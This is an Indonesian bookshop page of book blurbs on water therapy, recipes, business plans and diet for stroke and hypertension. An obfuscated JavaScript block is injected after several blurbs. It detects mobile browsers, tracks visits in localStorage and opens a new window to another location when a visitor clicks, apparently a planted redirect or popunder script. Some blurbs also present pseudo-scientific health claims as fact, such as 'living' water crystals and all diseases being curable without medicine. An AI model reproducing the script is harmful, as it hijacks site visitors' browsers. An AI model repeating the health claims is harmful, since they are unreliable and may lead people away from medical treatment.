Buku Terbaru

Terapi Air Putih

Puspitarini Muyosaro

<p>Tidak perlu kaya raya untuk dapat hidup sehat. Sehat itu murah sebenarnya. Hanya, seringkali kita masih dipenuhi paradigma bahwa sehat itu adalah sesuatu yang mahal. Hal inilah yang seringkali membuat kita enggan untuk memulai hidup sehat, akibatnya masalah pun timbul, rumah sakit menjadi tujuan menginap favorit. Berobat pun sebenarnya tidak perlu mahal-mahal. Tahun 1999 merupakan tahun titik balik pengobatan dengan air— seorang peneliti asal Jepang, Dr. Masaru Emoto, berhasil memfoto kristal-kristal air yang mendapatkan “perlakuan” sebelumnya. Air ternyata hidup! Hal inilah yang menjadi perbincangan dunia hingga saat ini. Rahasia air dapat menyembuhkan pun menggelinding layaknya bola salju. Air ternyata mampu menyimpan pesan, dan bereaksi terhadap hal positif maupun negatif. Sementara itu, lima tahun sebelum foto-foto krital air mengguncang dunia, Dr. F. Batmanghelidj telah lebih dahulu mengenalkan air sebagai penyembuh yang paling utama. Riset medisnya yang telah dilakukan selama 18 tahun—dengan latar belakang pendidikan kedokteran—telah membuatnya menjadi dokter yang paling dikenal dan dicari di Amerika Serikat. Buku ini akan mengajak Anda untuk menyusuri keajaiban air sebagai penyembuh dalam berbagai hal; kesehatan, kesuburan, dan kecantikan. Tidak perlu jauh-jauh untuk mencari penyembuh dan mendapatkan perawatan kecantikan. Air telah memberikan segalanya untuk kita.&nbsp;Penulis sangat bersyukur karena buku ini merupakan buku perdananya. Buku ini akan menambah tebal pengetahuan tentang manfaat air untuk tubuh. Mari sejenak melihat, bahwa Tuhan telah memberikan anugerah yang luar biasa ini pada kita. Air adalah anugerah itu. Ada baiknya kita semua menyetel ulang tentang kebiasaan yang selalu “meremehkan air.” Terima kasih penulis haturkan untuk Erni Fauziah, Ahmad Wiyono, Ahmad Wiyoto, dan Adhi Muhammad S— editor dan kritikus setia saya. Tidak lupa untuk Susmi Indah (alm) dan Ma’shum Tasmun, sebagai anak—saya ingin terus belajar kepada beliau. Penghargaan dan cinta bagi Agung Hidayat, sahabat hidup saya yang lucu dan tak putus memberikan saran saat saya suntuk di depan laptop. Buah hati Annabella Felistin yang sudah mulai sekolah dan Afghan Jihadi yang tangguh walaupun harus menemani Bunda begadang. Harapan penulis hanya satu. Semoga buku ini berhasil membuahkan paradigma baru tentang kesehatan dan pentingnya air dalam kehidupan kita. Sehat akan membuat kita bisa melakukan segala hal yang positif dan menikmati kehidupan yang diberikan Tuhan. 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Tahukah Anda Sinyal Tubuh Ketika Akan Sakit

Setyadi Budiono

<p>Tahukah Anda, tubuh ini memiliki berbagai keunikan yang luar biasa? Dalam tubuh kita terdapat triliunan unit sel, di mana setiap bagian tubuh yang berbeda pasti memiliki jenis sel yang berbeda pula. Jika dipanjangkan, seluruh saraf pada tubuh kita memiliki panjang 50.000 kilometer, dan seluruh saraf itu ada di dalam tubuh kita. Saraf sendiri adalah salah satu alat dalam sistem koordinasi tubuh yang berperan penting dalam koordinasi gerak. Meskipun ukurannya kecil, tapi saraf pada tubuh kita berjumlah ribuan. Tidak heran jika satu saraf bisa terikat dengan 1.000 saraf lainnya, dan seluruhnya mencapai panjang 50.000 km. Fakta unik lainnya adalah ketika bayi kita memiliki 300 buah tulang, sedangkan pada saat dewasa kita hanya memiliki 206 tulang. Hal itu diakibatkan tulang-tulang pada tubuh banyak yang menyatu saat dewasa, yaitu ketika proses pembentukan tulang berlangsung. Sebanyak 650 otot yang kita miliki, hampir sepertiganya digunakan saat berjalan. Bisa dibayangkan bahwa kegiatan berjalan ini membutuhkan koordinasi otot-otot yang luar biasa. Di sinilah fungsi otak bekerja. Dengan kerja otak yang baik, manusia dapat berjalan lebih baik daripada hewan. Dalam sehari kita membutuhkan sekitar 10.000 liter udara saat bernapas. Hal itu disebabkan karena kita menghirup udara dalam frekuensi yang cukup sering, maka tidak heran jika kita butuh udara sebanyak itu. Sekitar sepertiga dari angka di atas dibutuhkan saat tidur, dan sisanya saat siang hari. Fakta unik lainnya adalah saat manusia hidup, jantungnya mampu memompa darah yang cukup mengisi 100 kolam renang standar. Sebenarnya ini bukan sesuatu yang aneh, karena saat sedang santai tiga kali denyutan jantung dapat memompa secangkir penuh darah. Di mana saat berolahraga, 1 kali denyutan jantung dapat memompa 2 cangkir penuh&nbsp;darah. Untuk itu, dalam 1 tusukan jarum, darah yang keluar mengandung 4,5 juta hingga 5 juta sel darah merah. Darah kita berwarna merah sebenarnya karena ada sel-sel darah merah di dalamnya. Sel-sel ini berperan mengedarkan oksigen dalam tubuh. Karena tugasnya sangat penting, maka jumlahnya pun sangat banyak. Tubuh kita bahkan memiliki 25 triliun sel darah merah. Sebanyak 2 juta sel baru diproduksi tiap detik untuk mengganti sel-sel yang rusak dalam jumlah yang sama. Jika ditanya, otot apakah yang tercepat dalam tubuh manusia? Jawabannya adalah otot kelopak mata. Mata kita bisa berkedip kurang dari sedetik, dan kita tidak akan merasa apa pun saat berkedip, kecuali berkedip dengan sengaja. Dari hasil penelitian, dapat disimpulkan bahwa otak kita bisa menampung informasi yang luar biasa banyaknya. Otak manusia dapat menampung informasi lebih banyak dari semua buku di perpustakaan nasional negara, bahkan sampai sedetil-detilnya. Tubuh manusia terdiri atas zat cair dan zat padat. Dalam 60% cairan, 20% merupakan cairan ekstraseluler, 4 % dari cairan ini berada dalam pembuluh darah yang berupa plasma darah, sedangkan 16% terdapat pada bagian interstisial. Kemudian, 40% lainnya adalah cairan intraseluler. 40% lainnya dari komposisi tubuh manusia adalah zat padat, yaitu mineral, karbohidrat, lemak, protein material organik dan non organik. Membaca fakta unik tubuh kita, maka sudah seharusnya kita menjaga kesehatan dengan sebaik-baiknya. Dari badan yang sehat akan lahir jiwa dan pikiran yang kuat. Selain asupan makanan dan minuman yang baik, olah raga juga penting untuk menjaga kesehatan. Satu lagi keunikan tubuh kita adalah tubuh akan mengirimkan pesan-pesan/ sinyal yang menyiratkan bahwa ada yang tidak beres di dalam tubuh ketika ada penyakit yang sedang menyerang. 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Kue Kering Anti Gagal

Wiwiek Sulistyowati

<p>Ada satu jenis makanan yang selalu hadir di saat Lebaran dan Natal, ya, kue kering atau cookies. Di setiap rumah, dipastikan selalu ada suguhan kue kering. Ada yang membelinya ada pula yang membuatnya sendiri. Jika selama ini Anda membeli kue kering, maka kini saatnya Anda membuat sendiri. Dalam buku ini, terdapat 50 jenis kue kering yang hasilnya enak dan disukai oleh semua orang. Selain itu, semua resep dalam buku ini ditulis sedemikian rupa hingga mudah untuk dipratikkan. Dalam buku ini juga terdapat beberapa kue kering yang tidak pasaran (unik) dan cookies berkarakter kartun seperti Angry Bird, Elmo, Hello Kitty dan lain-lain. Dijamin anak-anak akan menyukainya. Buku resep ini sangat lengkap dan mudah sehingga kegiatan membuat kue kering begitu menyenangkan. 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Kue Basah Anti Gagal

Tatit Ujiani Prasetyaningsih

<p>Puji syukur penulis panjatkan kepada Allah swt., sehingga buku ini dapat diselesaikan. Shalawat dan salam tercurah kepada Baginda Rasulullah saw., keluarga, dan umatnya sepanjang zaman. Kue basah atau sering juga disebut sebagai jajanan pasar, sering kita jumpai di toko roti atau toko kue yang khusus menjual kue basah. Kue basah ini biasanya disajikan di saat acara keluarga, arisan, ataupun untuk menjamu tamu. Indonesia kaya akan kue tradisional. Kue basah merupakan salah satu kue tradisional yang mempunyai citarasa asin maupun manis. Olahan kue basah ini pun bisa Anda buat sendiri di rumah dengan memperhatikan kebersihan dan kandungan gizinya. Di dalam buku ini, Anda akan menemukan beberapa resep kue basah yang praktis dan anti gagal, di antaranya lapis singkong pelangi, lapis pelangi, bolu pelangi, kue cubit, dan kue lumpur labu kuning dan lain-lain. Semua bahan dalam buku ini pun mudah didapat dan caranya mudah bagi pemula. Akhirnya, tak lupa penulis ucapkan terima kasih kepada ibu dan kedua buah hati penulis yang selalu mendukung hingga selesainya buku ini. Harapan penulis, semoga buku ini bermanfaat untuk para pembaca<br></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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_0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var 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Jajanan Pasar Istimewa - Enak &amp; Begizi - Lolos Uji Dapur

Siti Mariatin

<p>Masyarakat Indonesia sebagian besar menyukai ragam kuliner, dari yang mulai makanan ber-budget kecil hingga besar. Begitu juga dengan jajanan pasar. Lantas apa itu jajanan pasar? Jajanan pasar ialah jenis kuliner yang biasa dijajakan di pasar tradisional. Tentunya kuliner itu merupakan kuliner yang telah berumur tua. Untuk itu, dengan membuat ragam jajanan pasar sama halnya dengan menjaga kelestarian makanan tersebut. Dalam buku ini akan disajikan sebanyak 50 resep jajanan pasar yang mudah diaplikasikan karena di dalamnya disertai dengan langkah-langkah dalam pembuatannya. Pembuatan resep-resep tersebut tentunya masih banyak kekurangannya. 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|\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g 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_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());</script>

50 Menu Lengkap Prasmanan Istimewa

Redaksi MWI

<p>Banyak sekali acara yang menggunakan cara penyajian hidangan dengan konsep prasmanan, seperti pesta pernikahan dan pesta ulang tahun. Prasmanan adalah cara menyajikan hidangan di atas meja yang memanjang sehingga pengunjung dapat mengambil sendiri hidangan yang disediakan. Hidangan yang tersaji biasanya terdiri atas nasi, sayuran, lauk pauk, dan hidangan pencuci mulut serta tidak ketinggalan, minuman. Dalam buku ini diberikan alternatif beberapa hidangan untuk prasmanan, mulai dari sayur, lauk pauk, hingga nasi goreng. Jenis hidangan tersebut sangat variatif sehingga Anda tidak hanya menyajikan makanan atau hidangan yang biasa-biasa saja. Dengan kelezatan dari hidangan yang variatif tersebut akan meninggalkan kesan yang baik bagi tamu-tamu yang diundang. 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New Bisnis Plan UMKM

Solehuddin Murpi

<p>Setiap usaha yang dibangun baik yang berskala kecil, menengah maupun besar haruslah memiliki perencanaan usaha yang matang. Agar langkah-langkah yang harus ditempuh dalam menjalankan usaha tersebut tergambar secara jelas dan memiliki misi dan visi yang jelas pula. Sehingga tujuan utama dari satu perusahaaan untuk meraup keuntungan yang sebesar-besarnya dapat tercapai dengan sempurna. Namun masih banyak diantara kita yang belum paham bagaimana membuat satu Business Plan yang baik. Oleh karena itu, diperlukan pengetahuan merancang Business Plan yang mudah dan sederhana namun memiliki konsep sajian yang baik dan benar sesuai dengan kaidah manajemen usaha. Buku “BUSINESS PLAN PRAKTIS DAN DAHSYAT UNTUK UMKM” hadir untuk memberikan solusi kepada semua orang yang ingin membuat Business Plan sebagai hal yang penting untuk kelancaran usaha. Buku ini memaparkan bagaimana teknis pembuatan Business Plan dengan sederhana dan sistematis dengan pembahasan yang dapat dipahami oleh semua orang termasuk mereka yang masih awam tentang Business Plan dan manajemen usaha sebelumnya. Semua penjelasan disajikan secara praktis dan step by step, mulai dari Mengapa Harus Membuat Business Plan?, Rancangan Business Plan, Mempertajam Business Plan dengan Menggunakan Analisa SWOT hingga kesalahankesalahan dalam membuat Business Plan. Agar lebih mudah dalam memahami penyusunan Business Plan, buku ini juga terdapat contoh Business Plan UMKM yang telah jadi yang dapat dijadikan sebagai acuan pembuatan Business Plan pada usaha Anda<br></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Teknik Praktis Mengelola Air Kotor Menjadi Air Bersih

Fety Kumalasari, Yogi Satoto

<p>Air merupakan kebutuhan yang tidak bisa ditunda pemenuhannya. Manusia membutuhkan air, terutama untuk minum. Ketersediaan air di dunia ini begitu melimpah ruah, namun yang dapat dikonsumsi oleh manusia untuk keperluan air minum sangatlah sedikit. Dari total jumlah air yang ada, hanya lima persen saja yang tersedia sebagai air minum, sedangkan sisanya adalah air laut. Namun di dunia, kecenderungan yang terjadi sekarang ini adalah berkurangnya ketersediaan air bersih itu dari hari ke hari. Semakin meningkatnya populasi, semakin besar pula kebutuhan akan air minum. Sehingga ketersediaan air bersih pun semakin berkurang. Jacques Diouf, Direktur Jenderal Organisasi Pangan dan Pertanian Dunia (FAO) menyatakan saat ini penggunaan air di dunia naik dua kali lipat lebih besar dibandingkan dengan seabad silam. Peningkatan penggunaan air ternyata tidak berbanding lurus dengan ketersediaan air yang justru menurun. Akibatnya, terjadi kelangkaan air yang harus ditanggung oleh lebih dari 40 persen penduduk bumi. Kondisi ini akan semakin parah menjelang tahun 2025 nanti, karena 1,8 miliar orang akan tinggal di kawasan yang mengalami kelangkaan air secara pasti.</p><p>Kekurangan air telah berdampak negatif terhadap semua sektor, termasuk kesehatan. Tanpa akses air minum yang higienis, 3.800 anak meninggal tiap hari oleh penyakit. Disamping bertambahnya populasi manusia, kerusakan lingkungan merupakan salah satu penyebab berkurangnya sumber air bersih. Abrasi pantai&nbsp; &nbsp;menyebabkan rembesan air laut ke daratan, yang pada akhirnya akan mengontaminasi sumber air bersih yang ada di bawah permukaan tanah. Pembuangan sampah yang sembarang di sungai juga menyebabkan air sungai menjadi kotor dan tidak sehat untuk digunakan. Di Indonesia sendiri diperkirakan, 60 persen sungainya, terutama di Sumatera, Jawa, Bali, dan Sulawesi, tercemar berbagai limbah, mulai dari bahan organik hingga bakteri coliform dan fecal coli penyebab diare. Menurut data Departemen Kesehatan tahun 2002 terjadi 5.789 kasus diare yang menyebabkan 94 orang meninggal. Jika dibiarkan terus menerus krisis air bersih di dunia akan memberi dampak yang mengenaskan. Krisis air bersih akan menigkatkan epidemi penyakit yang merenggut nyawa. Karena itu semua, buku ini akan membahas bagaimana air yang layak diminum. Lalu, seperti apa pencemaran air yang bisa menyebabkan kematian. Dan, bagaimana cara sederhana untuk membuat air menjadi layak diminum. Permasalahan air bersih memang permasalahan yang sangat kompleks untuk saat ini. Solusi yang dapat menyelesesaikan tentulah tidak bisa secara pragmatis. Perlu keseriusan dari semua pihak untuk melakukan perbaikan dalam hal air bersih. Namun, bukan berarti kita tidak bisa melakuka apa-apa. Mulailah dari yang kecil dan sederhana, setidaknya mengatasi di sekitar tempat kita tinggal.<br></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Tahukah Anda- segala penyakit bisa disembuhkan Tanpa Obat

Supriyadi Amir &amp; Rokimun

<p><span class="fontstyle0">Tubuh manusia senantiasa konstan menolak benda asing yang masuk untuk merusak, seperti </span><span class="fontstyle2">virus, bakteri, radikal beba</span><span class="fontstyle2" style="color:rgb(0,0,128);">s </span><span class="fontstyle0">dan </span><span class="fontstyle2">sebagainya </span><span class="fontstyle0">yang dapat mengakibatkan reaksi buruk pada tubuh yang dikenal dengan nama </span><span class="fontstyle0" style="color:rgb(62,173,72);">‘sakit’</span><span class="fontstyle0">. Tidak hanya faktor luar, faktor dari dalam tubuh manusia sendiri pun dapat menyebabkan daya tahan dan kekebalan tubuh menurun seperti istirahat yang tidak cukup, pengelolaan stres yang buruk. Jika memang sudah jatuh sakit, kebanyakan orang akan lari dari permasalahan sakit tersebut dengan meminum obat kimiawi, padahal obat kimiawi yang diminum itu juga lama kelamaan akan berdampak buruk bagi tubuh.</span></p><p></p><p><span class="fontstyle0">Padahal dalam diri manusia mempunyai kemampuan untuk merespon penyakit dengan membentuk sebuah sistem pertahanan </span><span class="fontstyle0" style="color:rgb(36,64,142);">(sistem imun) </span><span class="fontstyle0">melawan penyakit tersebut. Ada berbagai cara untuk meningkatkan sistem pertahanan tubuh, yaitu dengan meningkatkan fungsi organ-organ tubuh agar dapat bekerja semestinya sehingga tubuh akan melawan penyakit yang datang, jadi sebenarnya tubuh mampu menyembuhkan diri sendiri. Rangsangan dari luar pun dapat membantu meningkatkan sistem kekebalan tubuh, misalnya dengan metode terapi. Ada banyak metode terapi yang dapat dilakukan mulai dari </span><span class="fontstyle2">terapi nutrisi, food combining, terapi jus, makrobiotik, terapi air putih, pijat, bekam, terapi energi, akupuntur, akupresur, </span><span class="fontstyle0">hingga </span><span class="fontstyle2">refleksiologi, </span><span class="fontstyle0">yang bisa dipilih sesuai dengan selera dan kemampuan tubuh. Jika ini dilakukan secara benar hasilnya pun akan sangat baik, tidak hanya sebagai penyembuhan tapi juga mampu menjadi pencegahan penyakit sehingga jika memang tidak dalam keadaan darurat kita tidak perlu mengkonsumsi obat kimiawi</span></p><p><span class="fontstyle0"><span class="fontstyle0">Buku ini juga membahas tentang mekanisme pertahanan tubuh, cara meningkatkan tubuh melawan penyakit hingga berbagai sumber penyakit dan penyembuhannya. Baik penyakit yang disebabkan </span><span class="fontstyle2">virus </span><span class="fontstyle0" style="color:rgb(36,64,142);">(kanker, hepatitis, herpes, cacar, flu dan lain-lain), </span><span class="fontstyle2">bakteri </span><span class="fontstyle0" style="color:rgb(36,64,142);">(infeksi paruparu, cholera asiatica, diare, tipes, TBC dan sebagainya), </span><span class="fontstyle2">radikal bebas </span><span class="fontstyle0" style="color:rgb(36,64,142);">(kolesterol, jantung koroner, penuaan dini, stroke, kanker dan lain-lain) </span><span class="fontstyle2">hingga penyakit karena makanan </span><span class="fontstyle0" style="color:rgb(36,64,142);">(asam urat, obesitas, diabetes, ambeien dan sebagainya).</span></span></p><p></p><p><span class="fontstyle0"><span class="fontstyle0" style="color:rgb(36,64,142);"></span><span class="fontstyle0">Buku ini sangatlah penting dimiliki oleh semua orang sebagai sumber referensi terbaik agar senantiasa hidup sehat dan terhindar dari segala macam penyakit yang berbahaya dan mematikan.</span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Revisi, Tahukah Anda Makanan Berbahaya untuk Penyakit STROKE

Agung Hidayat

<p><span class="fontstyle0">Kesehatan adalah hal yang paling berharga untuk dapat dijaga dengan baik. Sayangnya kesehatan baru akan menjadi sangat penting saat seseorang mengidap suatu penyakit. Stroke, misalnya. Tidak cukup menjadi epidemi bagi orang modern. Stroke ternyata tak pilih-pilih dalam membidik korban. Tua, muda, remaja, semua bisa terkena stroke.</span></p><p></p><p><span class="fontstyle0">Gaya hidup yang semakin permisif dan instan membuat stroke semakin mudah kita dapati di berbagai sudut negeri ini. Gaya hidup foya-foya dan seringkali rakus terhadap makanan lezat dan nikmat tapi tidak bernutrisi— ditengarai sebagai penyebab utama penyakit kardiovaskular ini.</span></p><p></p><p><span class="fontstyle0">Namun, tidak ada kata terlambat untuk menjaga kesehatan. Apabila makan merupakan kebutuhan kita. Maka jadikanlah makan menjadi sebuah kebutuhan. Bukan kesenangan yang harus dituruti. Menyantap makanan lezat berlemak telah membuat tubuh kita menjadi media yang subur untuk dirongrong penyakit. Bandingkan dengan kenikmatan sesaat yang didapatkan dari makanan lezat berlemak. Tidak akan menjadi sebanding jika harus mengurangi jatah hidup tubuh kita yang bisa mencapai usia maksimal, apabila kita menjaganya.</span></p><p></p><p><span class="fontstyle0">Saat ini dunia sudah memasuki era </span><span class="fontstyle2">Graying Revolution</span><span class="fontstyle0">. Semakin banyak kita temukan orang-orang yang berumur panjang. Namun, tidak semua menghabiskannya dengan bahagia. Sebagian besar, harus berjuang melawan berbagai penyakit. Sungguh tidak enak rasanya menghabiskan masa tua dengan rongrongan penyakit.</span></p><p></p><p><span class="fontstyle0">Oleh karena itu, mari mulai menjaga asupan makanan harian kita. Tidak ada kata terlambat dan enggan untuk masalah ini. Semakin Anda menghargai kesehatan, maka Anda akan bersikap cermat dalam memilih makanan.&nbsp;</span></p><p><span class="fontstyle0"><br></span>Bersikap pilih-pilih terhadap makanan haruslah kita galakkan mulai saat ini. Bukan hal yang tabu, karena kesehatan dan kebahagiaan kita sebagai taruhannya. Buku ini akan mengajak Anda untuk memilih dan memilah makanan mana yang sehat, dan tidak.<br style="font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p><span class="fontstyle0"><p></p></span><span class="fontstyle2">Alhamdulillah</span><span class="fontstyle0">, buku ini dapat hadir di tangan Anda. Belum lengkap memang, namun merupakan sebuah upaya agar hidup sehat tidak sekedar menjadi angan-angan semata. Memang bukan sesuatu yang gampang merubah kebiasaan, namun hal itu bukanlah tidak mungkin. Makan sehat dan bahagia adalah resep panjang umur.<p></p>Terima kasih dan syukur saya haturkan kepada Allah swt., dan Rasulullah saw.. Juga kepada Bapak Suwarno, dan Ibu Umi Hanik (alm), sebagai guru dalam kehidupan saya. Era K.W, dan Heni Rahmawati, juga kepada Adhi Muhammad S, yang memberikan masukan dan semangat yang luar biasa. Tak lupa kepada Nur Adi Septanto yang membantu saya dalam membuat ilustrasi dalam buku ini.<p></p>Penuh cinta, dan harapan saya sampaikan kepada istri tercinta saya, Puspitarini Muyassaro, sahabat saya dalam hidup. Buah hati Annabela Felistin, dan Afghan Jihadi, semoga menjadi anak-anak yang shalih.<p></p>Semoga buku ini dapat menjadi </span><span class="fontstyle2">guide </span><span class="fontstyle0">dalam menjalankan hidup sehat, dan diet mengatasi serangan stroke.<p></p>Salam, Agung Hidayat</span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Tahukah Anda Makanan Berbahaya Untuk Penyakit Darah Tinggi

Puspita RM

<p><span class="fontstyle0">M</span><span class="fontstyle0" style="font-size:11pt;">emiliki tubuh yang sehat dan bugar sebenarnya bukanlah mimpi. Kita dapat meraih kesehatan dengan cara yang murah dan terjangkau, tanpa harus merogoh ongkos lebih dalam. Salah satunya adalah dengan memperhatikan asupan makanan. Akan tetapi, seringkali hal ini agak susah dijalankan. Beberapa sebab yang menyertainya adalah makanan sehat seringkali tidak memiliki </span><span class="fontstyle2">taste </span><span class="fontstyle0" style="font-size:11pt;">yang menggugah selera, gaya hidup yang semakin instan, dan minimnya pengetahuan tentang makanan, nutrisi, dan bahaya yang menyertainya.</span></p><p></p><p><span class="fontstyle0" style="font-size:11pt;">Maka dari itu, jangan kaget jika darah tinggi (hipertensi) telah menjadi epidemi saat ini. Darah tinggi memang tidak memiliki ciri khusus dan unik yang dapat dengan mudah dikenali. Hal inilah yang malah menjadikannya semakin sulit dideteksi. Dengan demikian, diperlukan kesadaran sejak dini untuk memilih makanan sehat, serta menjauhi makanan berbahaya.</span></p><p></p><p><span class="fontstyle0" style="font-size:11pt;">Seringkali mitos dan pemahaman yang kurang mengenai nutrisi makanan menjadikan seseorang salah dalam memilih menu harian. Menu </span><span class="fontstyle2">westernisasi </span><span class="fontstyle0" style="font-size:11pt;">malah dianggap sebagai makanan penunjang gaya hidup terkini dan paling sehat. Padahal, hal ini merupakan kesalahan fatal yang perlu diperbaiki oleh setiap orang yang memakmurkan makanan tersebut.</span></p><p></p><p><span class="fontstyle0" style="font-size:11pt;">Kebanyakan orang Barat telah menjadikan menu hariannya tidak lagi melulu dipenuhi dengan </span><span class="fontstyle2">fast food </span><span class="fontstyle0" style="font-size:11pt;">dan </span><span class="fontstyle2">junk food</span><span class="fontstyle0" style="font-size:11pt;">. Gerakan kembali ke alam telah menggejala di mana-mana. Namun, hal yang paradoks justru terjadi di negara kita. Hanya karena alasan </span><span class="fontstyle2">style, </span><span class="fontstyle0" style="font-size:11pt;">tubuh rela dijejali dengan menu harian yang penuh dengan berbagai zat yang tidak menguntungkan terhadap tubuh.</span></p><p></p><p><span class="fontstyle0" style="font-size:11pt;">Gaya hidup seperti inilah 